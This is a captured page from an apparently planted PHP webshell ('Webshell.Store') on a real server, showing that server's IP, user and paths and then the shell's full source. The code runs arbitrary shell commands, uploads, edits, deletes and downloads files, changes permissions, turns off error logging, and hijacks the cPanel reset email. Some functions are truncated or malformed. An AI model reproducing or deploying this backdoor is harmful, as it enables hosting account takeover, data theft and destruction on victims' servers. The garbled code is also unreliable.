Store : Webshell.Store

Linux srv.onlinenavarra.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64

Apache

82.194.91.184 | Your IP: 216.73.216.50

Cant read [ /etc/named.conf ]

[ drwxrwxrwx ]

/ var / www / vhosts / asadorcasatomas.com / httpdocs / uploads / noticias /

Home Upload Info Server

Server Info

Operating System	:	Linux srv.onlinenavarra.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User / Group	:	10016[asadorcasaftp] / 1005[psacln]
PHP Version	:	5.4.16
IP Server	:	82.194.91.184
Your IP	:	216.73.216.50
Storage	:	Total = 913.01 GB, Free = 247.38 GB [27%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	Apache
Disable Functions	:	opcache_get_status
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : ON \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : OFF \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : /var/www/vhosts/asadorcasatomas.com/:/tmp/ \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

20260316115919-webshellbibil.php

<?php

ob_start();
session_start();
error_reporting(0);
set_time_limit(0);
clearstatcache();
@ini_set('error_log', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);

if (isset($_GET['dir'])) {
    $path = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $path = getcwd();
}

$path = str_replace('\\', '/', $path);
$exdir = explode('/', $path);

/**
 * @throws Exception
 */
function Zip($source, $destination)
{
    if (!extension_loaded('zip')) {
        throw new Exception('Zip extension not enabled on this server.');
    }
    if (!file_exists($source)) {
        throw new Exception('File does not exist!');
    }

class ExtendedZip extends ZipArchive {

// Member function to add a whole file system subtree to the archive
        public function addTree($dirname, $localname = '') {
            if ($localname)
                $this->addEmptyDir($localname);
            $this->_addTree($dirname, $localname);
        }

// Internal function, to recurse
        protected function _addTree($dirname, $localname) {
            $dir = opendir($dirname);
            while ($filename = readdir($dir)) {
                // Discard . and ..
                if ($filename == '.' || $filename == '..')
                    continue;

// Proceed according to type
                $path = $dirname . DIRECTORY_SEPARATOR . $filename;
                $localpath = $localname ? ($localname . DIRECTORY_SEPARATOR . $filename) : $filename;
                if (is_dir($path)) {
                    // Directory: add & recurse
                    $this->addEmptyDir($localpath);
                    $this->_addTree($path, $localpath);
                }
                else if (is_file($path)) {
                    // File: just add
                    $this->addFile($path, $localpath);
                }
            }
            closedir($dir);
        }

// Helper function
        public static function zipTree($dirname, $zipFilename, $flags = 0, $localname = '') {
            $zip = new self();
            $zip->open($zipFilename, $flags);
            $zip->addTree($dirname, $localname);
            $zip->close();
        }
    }

ExtendedZip::zipTree($source, $destination, ZipArchive::CREATE);
}

if (isset($_GET['action']) && $_GET['action'] == 'download') {
    @ob_clean();
    $item = $path . DIRECTORY_SEPARATOR . $_GET['item'];
    if (is_file($item)) {
        header('Content-Type: text/plain');
    } else if (is_dir($item)) {
        $new_item = $path . DIRECTORY_SEPARATOR . 'compressed_folder_' . basename($item) . '.zip';
        try {
            Zip($item, $new_item);
            $item = $new_item;
            header('Content-type: application/zip');
        } catch (Exception $e) {
            flash($e->getMessage(), "Failed", "error", "?dir=$path");
        }
    }
    if (is_file($item)) {
        header('Content-Description: File Transfer');
        header('Content-Disposition: attachment; filename="' . basename($item) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($item));
        readfile($item);
        if(isset($new_item) && is_file($new_item)){
            unlink($new_item);
        }
        exit;
    }
}

function writable($path, $perms)
{
    return (!is_writable($path)) ? "<font color=\"red\">" . $perms . "</font>" : "<font color=\"lime\">" . $perms . "</font>";
}

// Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
        (($perms & 0x0800) ? 's' : 'x') :
        (($perms & 0x0800) ? 'S' : '-'));

// Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
        (($perms & 0x0400) ? 's' : 'x') :
        (($perms & 0x0400) ? 'S' : '-'));

// World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
        (($perms & 0x0200) ? 't' : 'x') :
        (($perms & 0x0200) ? 'T' : '-'));

return $info;
}

function fsize($file)
{
    $a = ["B", "KB", "MB", "GB", "TB", "PB"];
    $pos = 0;
    $size = filesize($file);
    while ($size >= 1024) {
        $size /= 1024;
        $pos++;
    }
    return round($size, 2) . " " . $a[$pos];
}

// CMD
function cmd($command)
{
    global $path;
    if (strpos($command, 'resetcp') !== false) {
        $email = explode(' ', $command);
        if (!$email[1] || !filter_var($email[1], FILTER_VALIDATE_EMAIL)) {
            return "You must specified valid email address. resetcp youremail@example.com";
        }
        $pathcp = explode("/", $path);
        $text = "---\n\"email\":'$email[1]'";
        $file = join('/', [$pathcp[0], $pathcp[1], $pathcp[2]]);
        $file = $file . '/.cpanel/';
        if (file_exists($file . 'contactinfo')) {
            unlink($file . 'contactinfo');
        }
        file_put_contents($file . 'reset', $text);
        if (file_exists($file . 'reset')) {
            rename($file . 'reset', $file . 'contactinfo');
            return "Email for reset cpanel changed to '$email[1]'";
        }
        return "Failed to change reset cp email!";
    } elseif (function_exists('shell_exec')) {
        return shell_exec($command . ' 2>&1');
    } else {
        return "Disable Function";
    }
}

function which($p)
{
    $path = cmd('which ' . $p);
    if (!empty($path)) {
        return strlen($path);
    }
    return false;
}

function formatSize($bytes)
{
    $types = array('B', 'KB', 'MB', 'GB', 'TB');
    for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++) ;
    return (round($bytes, 2) . " " . $types[$i]);
}

if (isset($_POST['newFolderName'])) {
    if (mkdir($path . '/' . $_POST['newFolderName'])) {
        flash("Create Folder Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Create Folder Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
        flash("Create File Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Create File Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if (rename($path . '/' . $_GET['item'], $_POST['newName'])) {
        flash("Rename Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Rename Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
    // Decode the base64 encoded content from client side
    $decodedContent = base64_decode($_POST['newContent']);
    if (file_put_contents($path . '/' . $_GET['item'], $decodedContent)) {
        flash("Edit Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Edit Failed", "Failed", "error", "?dir=$path");
    }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    }
    if (chmod($path . '/' . $_GET['item'], $_POST['newPerm'])) {
        flash("Change Permission Successfully!", "Success", "success", "?dir=$path");
    } else {
        flash("Change Permission", "Failed", "error", "?dir=$path");
    }
}

if (isset($_GET['action'])) {
    $action = $_GET['action'];
    if ($action == 'delete' && isset($_GET['item'])) {
        function removedir($dir)
        {
            if (!file_exists($dir)) {
                return false;
            }
            if (is_file($dir)) {
                return unlink($dir);
            }
            $files = array_diff(scandir($dir), ['.', '..']);
            foreach ($files as $file) {
                $path = $dir . DIRECTORY_SEPARATOR . $file;
                if (is_dir($path)) {
                    removedir($path);
                } else {
                    unlink($path);
                }
            }
            return rmdir($dir);
        }

$item_path = $path . DIRECTORY_SEPARATOR . $_GET['item'];
        if (is_dir($item_path)) {
            if (removedir($item_path)) {
                flash("Delete Folder Successfully!", "Success", "success", "?dir=$path");
            } else {
                flash("Delete Folder Failed", "Failed", "error", "?dir=$path");
            }
        } else if (is_file($item_path)) {
            if (unlink($item_path)) {
                flash("Delete File Successfully!", "Success", "success", "?dir=$path");
            } else {
                flash("Delete File Failed", "Failed", "error", "?dir=$path");
            }
        } else {
            flash("Item not found!", "Failed", "error", "?dir=$path");
        }
    }
}

if (isset($_FILES['uploadfile'])) {
    $total = count($_FILES['uploadfile']['name']);
    for ($i = 0; $i < $total; $i++) {
        $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
    }
    if ($total < 2) {
        if ($mainupload) {
            flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
        } else {
            flash("Upload Failed", "Failed", "error", "?dir=$path");
        }
    } else {
        if ($mainupload) {
            flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
        } else {
            flash("Upload Failed", "Failed", "error", "?dir=$path");
        }
    }
}

$d0mains = @file("/etc/named.conf", false);
if (!$d0mains) {
    $dom = "Cant read [ /etc/named.conf ]";
    $GLOBALS["need_to_update_header"] = "true";
} else {
    $count = 0;
    foreach ($d0mains as $d0main) {
        if (@strstr($d0main, "zone")) {
            preg_match_all('#zone "(.*)"#', $d0main, $domains);
            flush();
            if (strlen(trim($domains[1][0])) > 2) {
                flush();
                $count++;
            }
        }
    }
    $dom = "$count Domain";
}

if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
    $sys = "win";
} else {
    $sys = "unix";
}

if ($sys == 'unix') {
    $useful = "";
    $downloader = "";
    if (!@ini_get('safe_mode')) {
        if (strlen(cmd("id")) > 0) {
            $userful = ['gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzialfa2', 'nc', 'locate', 'suidperl', 'git', 'docker', 'ssh'];
            $x = 0;
            foreach ($userful as $i) {
                if (which($i)) {
                    $x++;
                    $useful .= $i . ', ';
                }
            }
            if ($x == 0) {
                $useful = '--------';
            }
            $downloaders = ['wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror'];
            $x = 0;
            foreach ($downloaders as $i) {
                if (which($i)) {
                    $x++;
                    $downloader .= $i . ', ';
                }
            }
            if ($x == 0) {
                $downloader = '--------';
            }
        } else {
            $useful = '--------';
            $downloader = '--------';
        }
    } else {
        $useful = '--------';
        $downloader = '--------';
    }
}

$ip = gethostbyname($_SERVER['HTTP_HOST']);
$uip = $_SERVER['REMOTE_ADDR'];
$serv = $_SERVER['HTTP_HOST'];
$soft = $_SERVER['SERVER_SOFTWARE'];
$cmd_uname = cmd("uname -a");
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : 'Uname Error!');
$total = disk_total_space($path);
$free = disk_free_space($path);
$pers = (int)($free / $total * 100);
$ds = @ini_get("disable_functions");
$show_ds = (!empty($ds)) ? "<font class='text-danger'>$ds</font>" : "<font class='text-success'>All function is accessible</font>";

if (@ini_get('open_basedir')) {
    $basedir_data = @ini_get('open_basedir');
    if (strlen($basedir_data) > 120) {
        $open_b = "<font class='text-success'>" . substr($basedir_data, 0, 120) . "...</font>";
    } else {
        $open_b = '<font class="text-success">' . $basedir_data . '</font>';
    }
} else {
    $open_b = '<font class="text-warning">NONE</font>';
}

if (!function_exists('posix_getegid')) {
    $user = function_exists("get_current_user") ? @get_current_user() : "????";
    $uid = function_exists("getmyuid") ? @getmyuid() : "????";
    $gid = function_exists("getmygid") ? @getmygid() : "????";
    $group = "?";
} else {
    $uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : ["name" => "????", "uid" => "????"];
    $gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : ["name" => "????", "gid" => "????"];
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}

$dirs = scandir($path);

<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="robots" content="noindex, nofollow">
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"
              integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3"
              crossorigin="anonymous">
        <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css"
              integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p"
              crossorigin="anonymous"/>
        <title>Store : Webshell.Store</title>
        <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono" rel="stylesheet">
        <style type="text/css">
            * {
                font-family: Ubuntu Mono;
            }

body {
                background: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)), url('https://i.ibb.co/wFBQz5CZ/Chat-GPT-Image-22-f-vr-2026-10-41-48.png');
                background-size: cover;
                background-position: center;
                background-attachment: fixed;
            }

a {
                text-decoration: none;
                color: white;
            }

a:hover {
                color: white;
            }

/* width */
            ::-webkit-scrollbar {
                width: 7px;
                height: 7px;
            }

/* Handle */
            ::-webkit-scrollbar-thumb {
                background: grey;
                border-radius: 7px;
            }

/* Track */
            ::-webkit-scrollbar-track {
                box-shadow: inset 0 0 7px grey;
                border-radius: 7px;
            }

.td-break {
                word-break: break-all
            }
        </style>
    </head>
<body class="bg-dark text-light">

<?php ?>

<tr>
                        <td><i class="fas fa-cog"></i>&nbsp;[&nbsp;<?php echo writable($path, perms($path)) ?>&nbsp;]
                        </td>
                    </tr>
                    <tr>
                        <td>
                            <i class="fa fa fa-folder pt-1"></i>&ensp;
                            <?php foreach ($exdir as $id => $pat) : if ($pat == '' && $id == 0): ?>
                                <a href="?dir=/" class="text-decoration-none text-light">/</a>
                            <?php endif;
                                if ($pat == '') continue; ?>
                                <a href="?dir=<?php for ($i = 0; $i <= $id; $i++) {
                                    echo "$exdir[$i]";
                                    if ($i != $id) echo "/";
                                } ?>" class="text-decoration-none text-light"><?= $pat ?></a>
                                <span class="text-light"> /</span>
                            <?php endforeach; ?>
                        </td>
                    </tr>
                </table>
                <form action="" method="post" class="row g-2 p-2">
                    <div class="col-auto">
                        <input type="text" class="form-control form-control-sm" name="bdcmd" placeholder="whoami">
                    </div>
                    <div class="col-auto">
                        <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                    </div>
                </form>
                <div id="tool">
                    <center>
                        <hr width='20%'>
                    </center>
                    <div class="d-flex justify-content-center flex-wrap my-3">
                        <a href="?" class="m-1 btn btn-outline-light btn-sm"><i class="fa fa-home"></i> Home</a>
                        <a class="m-1 btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#upload"
                           role="button"
                           aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-upload"></i> Upload</a>
                        <a class="m-1 btn btn-outline-light btn-sm" data-bs-toggle="collapse" href="#info" role="button"
                           aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-info-circle"></i> Info
                            Server</a>
                    </div>
                    <center>
                        <hr width='20%'>
                    </center>

<div class="container">
                        <div class="row">
                            <div class="col-md-12">
                                <div class="collapse" id="upload" data-bs-parent="#tool">
                                    <div class="row justify-content-center">
                                        <div class="col-md-5">
                                            <form action="" method="post" enctype="multipart/form-data">
                                                <div class="mb-3">
                                                    <label class="form-label">File Uploader</label>
                                                    <div class="input-group">
                                                        <input type="file" class="form-control" name="uploadfile[]"
                                                               id="inputGroupFile04"
                                                               aria-describedby="inputGroupFileAddon04"
                                                               aria-label="Upload"
                                                               multiple>
                                                        <button class="btn btn-outline-light" type="submit"
                                                                id="inputGroupFileAddon04">Upload
                                                        </button>
                                                    </div>
                                                </div>
                                            </form>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-12">
                                <div class="collapse" id="newFileCollapse" data-bs-parent="#tool">
                                    <div class="row justify-content-center">
                                        <div class="col-md-5">
                                            <form action="" method="post">
                                                <div class="mb-3">
                                                    <label class="form-label">File Name</label>
                                                    <input type="text" class="form-control" name="newFileName"
                                                           placeholder="test.php">
                                                </div>
                                                <div class="mb-3">
                                                    <label class="form-label">File Content</label>
                                                    <textarea class="form-control" rows="5" name="newFileContent"
                                                              placeholder="Hello-World"></textarea>
                                                </div>
                                                <button type="submit" class="btn btn-outline-light">Create</button>
                                            </form>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-12">
                                <div class="collapse" id="newFolderCollapse" data-bs-parent="#tool">
                                    <div class="row justify-content-center">
                                        <div class="col-md-5">
                                            <form action="" method="post">
                                                <div class="mb-3">
                                                    <label class="form-label">Folder Name</label>
                                                    <input type="text" class="form-control" name="newFolderName"
                                                           placeholder="home">
                                                </div>
                                                <button type="submit" class="btn btn-outline-light">Create</button>
                                            </form>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-12">
                                <div class="collapse" id="info" data-bs-parent="#tool">
                                    <div class="row justify-content-center">
                                        <div class="col-md-8">
                                            <div class="mb-3">
                                                <label class="form-label">Server Info</label>
                                                <table class="table text-light">
                                                    <tr>
                                                        <td>Operating System</td>
                                                        <td>:</td>
                                                        <td><?= $uname ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>User / Group</td>
                                                        <td>:</td>
                                                        <td><?= $uid ?>[<?= $user ?>] / <?= $gid ?>[<?= $group ?>]</td>
                                                    </tr>
                                                    <tr>
                                                        <td>PHP Version</td>
                                                        <td>:</td>
                                                        <td><?= phpversion() ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>IP Server</td>
                                                        <td>:</td>
                                                        <td><?= $ip ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>Your IP</td>
                                                        <td>:</td>
                                                        <td><?= $uip ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>Storage</td>
                                                        <td>:</td>
                                                        <td class="td-break">Total = <?= formatSize($total) ?>, Free
                                                            = <?= formatSize($free) ?> [<?= $pers ?>%]
                                                        </td>
                                                    </tr>
                                                    <tr>
                                                        <td>Domains</td>
                                                        <td>:</td>
                                                        <td><?= $dom ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>Software</td>
                                                        <td>:</td>
                                                        <td><?= $soft ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>Disable Functions</td>
                                                        <td>:</td>
                                                        <td class="td-break"><?= $show_ds ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>Useful Functions</td>
                                                        <td>:</td>
                                                        <td><?= rtrim($useful, ', ') ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td>Downloader</td>
                                                        <td>:</td>
                                                        <td><?= rtrim($downloader, ', ') ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td colspan="3">CURL
                                                            : <?= function_exists('curl_version') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?>
                                                            | SSH2
                                                            : <?= function_exists('ssh2_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?>
                                                            | Magic Quotes
                                                            : <?= function_exists('get_magic_quotes_gpc') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?>
                                                            | MySQL
                                                            : <?= function_exists('mysql_get_client_info') || class_exists('mysqli') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?>
                                                            | MSSQL
                                                            : <?= function_exists('mssql_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?>
                                                            | PostgreSQL
                                                            : <?= function_exists('pg_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?>
                                                            | Oracle
                                                            : <?= function_exists('oci_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?></td>
                                                    </tr>
                                                    <tr>
                                                        <td colspan="3">Safe Mode
                                                            : <?= @ini_get('safe_mode') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?>
                                                            | Open Basedir : <?= $open_b ?> | Safe Mode Exec Dir
                                                            : <?= @ini_get('safe_mode_exec_dir') ? '<font class="text-success">' . @ini_get('safe_mode_exec_dir') . '</font>' : '<font class="text-warning">NONE</font>' ?>
                                                            | Safe Mode Include Dir
                                                            : <?= @ini_get('safe_mode_include_dir') ? '<font class="text-success">' . @ini_get('safe_mode_include_dir') . '</font>' : '<font class="text-warning">NONE</font>' ?></td>
                                                    </tr>
                                                </table>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

<?php if (isset($_POST['bdcmd'])) : ?>
                        <div class="p-2">
                            <div class="row justify-content-center">
                                <div class="card text-dark mb-3">
                                <pre><?php echo $ip . "@" . $serv . ":&nbsp;~$&nbsp;";
                                    $cmd = $_POST['bdcmd'];
                                    echo $cmd . "<br>"; ?><br><code><?php echo cmd($cmd); ?></code></pre>
                                </div>
                            </div>
                        </div>
                    <?php endif; ?>
                    <?php if (isset($_GET['action']) && $_GET['action'] != 'download') : $action = $_GET['action'] ?>
                    <?php endif; ?>
                    <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
                        <div class="col-md-12">
                            <div class="row justify-content-center">
                                <div class="col-md-5">
                                    <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
                                        <form action="" method="post">
                                            <div class="mb-3">
                                                <label for="name" class="form-label">New Name</label>
                                                <input type="text" class="form-control" name="newName"
                                                       value="<?= $_GET['item'] ?>">
                                            </div>
                                            <button type="submit" class="btn btn-outline-light">Submit</button>
                                            <button type="button" class="btn btn-outline-light"
                                                    onclick="history.go(-1)">
                                                Back
                                            </button>
                                        </form>
                                    <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
                                        <form action="" method="post" id="editForm" onsubmit="return encodeContent()">
                                            <div class="mb-3">
                                                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                                                <textarea id="CopyFromTextArea" rows="10"
                                                          class="form-control"><?= htmlspecialchars(file_get_contents($path . '/' . $_GET['item'])) ?></textarea>
                                                <input type="hidden" name="newContent" id="encodedContent">
                                            </div>
                                            <button type="submit" class="btn btn-outline-light">Submit</button>
                                            <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy
                                            </button>
                                            <button type="button" class="btn btn-outline-light"
                                                    onclick="history.go(-1)">
                                                Back
                                            </button>
                                        </form>
                                    <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
                                        <form action="" method="post">
                                            <div class="mb-3">
                                                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                                                <input type="text" class="form-control" name="newPerm"
                                                       value="<?= substr(sprintf('%o', fileperms($_GET['item'])), -4); ?>">
                                            </div>
                                            <button type="submit" class="btn btn-outline-light">Submit</button>
                                            <button type="button" class="btn btn-outline-light"
                                                    onclick="history.go(-1)">
                                                Back
                                            </button>
                                        </form>
                                    <?php endif; ?>
                                </div>
                            </div>
                        </div>
                    <?php endif; ?>
                </div>
                <div class="table-responsive">
                    <table class="table text-light">
                        <thead>
                        <tr>
                            <td style="width:35%">Name</td>
                            <td style="width:11%">Type</td>
                            <td style="width:11%">Size</td>
                            <td style="width:11%">Owner/Group</td>
                            <td style="width:11%">Permission</td>
                            <td style="width:11%">Last Modified</td>
                            <td style="width:10%">Actions</td>
                        </tr>
                        </thead>
                        <tbody class="text-nowrap">
                        <?php
                        foreach ($dirs as $dir) :
                            if (!is_dir($dir)) continue;
                            ?>
                            <tr>
                                <td>
                                    <?php if ($dir === '..') : ?>
                                        <a href="?dir=<?= dirname($path); ?>" class="text-decoration-none text-light"><i
                                                    class="fa fa-folder-open"></i> <?= $dir ?></a>
                                    <?php elseif ($dir === '.') : ?>
                                        <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i
                                                    class="fa fa-folder-open"></i> <?= $dir ?></a>
                                    <?php else : ?>
                                        <a href="?dir=<?= $path . '/' . $dir ?>"
                                           class="text-decoration-none text-light"><i
                                                    class="fa fa-folder"></i> <?= $dir ?></a>
                                    <?php endif; ?>
                                </td>
                                <td class="text-light"><?= filetype($dir) ?></td>
                                <td class="text-light">-</td>
                                <td class="text-light"><?= getOwner($dir) ?></td>
                                <td class="text-light">
                                    <?php
                                    echo '<a href="?dir=' . $path . '&item=' . $dir . '&action=chmod">';
                                    if (is_writable($path . '/' . $dir)) echo '<font color="lime">';
                                    elseif (!is_readable($path . '/' . $dir)) echo '<font color="red">';
                                    echo perms($path . '/' . $dir);
                                    if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir))
                                        echo '</a>';
                                    ?>
                                </td>
                                <td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
                                <td>
                                    <?php if ($dir != '.' && $dir != '..') : ?>
                                        <div class="btn-group">
                                            <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename"
                                               class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip"
                                               data-placement="auto" title="Rename"><i class="fa fa-edit"></i></a>
                                            <?php if (extension_loaded('zip')) : ?>

<a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=download"
                                                   class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip"
                                                   data-placement="auto" title="Download"><i
                                                            class="fa fa-file-download"></i></a>
                                                <a class="btn btn-outline-light btn-sm mr-1"
                                                   onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"
                                                   data-toggle="tooltip" data-placement="auto" title="Delete"><i
                                                            class="fa fa-trash"></i></a>
                                            <?php endif; ?>
                                        </div>
                                    <?php elseif ($dir === '.') : ?>
                                        <div class="btn-group">
                                            <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button"
                                               aria-expanded="false" aria-controls="newFolderCollapse"
                                               class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip"
                                               data-placement="auto" title="New Folder"><i
                                                        class="fa fa-folder-plus"></i></a>
                                            <a data-bs-toggle="collapse" href="#newFileCollapse" role="button"
                                               aria-expanded="false" aria-controls="newFileCollapse"
                                               class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip"
                                               data-placement="auto" title="New File"><i
                                                        class="fa fa-file-plus"></i></a>
                                        </div>
                                    <?php endif; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        <?php
                        foreach ($dirs as $dir) :
                            if (!is_file($dir)) continue;
                            ?>
                            <tr>
                                <td>
                                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit"
                                       class="text-decoration-none text-light"><i
                                                class="fa fa-file-code"></i> <?= $dir ?>
                                    </a>
                                </td>
                                <td class="text-light"><?= (function_exists('mime_content_type') ? mime_content_type($dir) : filetype($dir)) ?></td>
                                <td class="text-light"><?= fsize($dir) ?></td>
                                <td class="text-light"><?= getOwner($dir) ?></td>
                                <td class="text-light">
                                    <?php
                                    echo '<a href="?dir=' . $path . '&item=' . $dir . '&action=chmod">';
                                    if (is_writable($path . '/' . $dir)) echo '<font color="lime">';
                                    elseif (!is_readable($path . '/' . $dir)) echo '<font color="red">';
                                    echo perms($path . '/' . $dir);
                                    if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir))
                                        echo '</a>';
                                    ?>
                                </td>
                                <td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
                                <td>
                                    <div class="btn-group">
                                        <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit"
                                           class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip"
                                           data-placement="auto" title="Edit"><i class="fa fa-file-edit"></i></a>
                                        <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename"
                                           class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip"
                                           data-placement="auto" title="Rename"><i class="fa fa-edit"></i></a>
                                        <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=download"
                                           class="btn btn-outline-light btn-sm mr-1" data-toggle="tooltip"
                                           data-placement="auto" title="Download"><i
                                                    class="fa fa-file-download"></i></a>
                                        <a class="btn btn-outline-light btn-sm mr-1"
                                           onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"
                                           data-toggle="tooltip" data-placement="auto" title="Delete"><i
                                                    class="fa fa-trash"></i></a>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
                <center>
                    <hr width='50%'>
                    Copyright &#169; ULTRA
                </center>
            </div>
        </div>
    </div>

<?php if (isset($_SESSION['message'])) : ?>
        Swal.fire(
            '<?= $_SESSION['status'] ?>',
            '<?= $_SESSION['message'] ?>',
            '<?= $_SESSION['class'] ?>'
        )
        <?php endif; clear(); ?>

function deleteConfirm(url) {
            event.preventDefault()
            Swal.fire({
                title: 'Are you sure?',
                icon: 'warning',
                showCancelButton: true,
                confirmButtonColor: '#3085d6',
                cancelButtonColor: '#d33',
                confirmButtonText: 'Yes, delete it!'
            }).then((result) => {
                if (result.isConfirmed) {
                    window.location.href = url
                }
            })
        }

function jscopy() {
            var jsCopy = document.getElementById("CopyFromTextArea");
            jsCopy.focus();
            jsCopy.select();
            document.execCommand("copy");
        }

function encodeContent() {
            var textarea = document.getElementById("CopyFromTextArea");
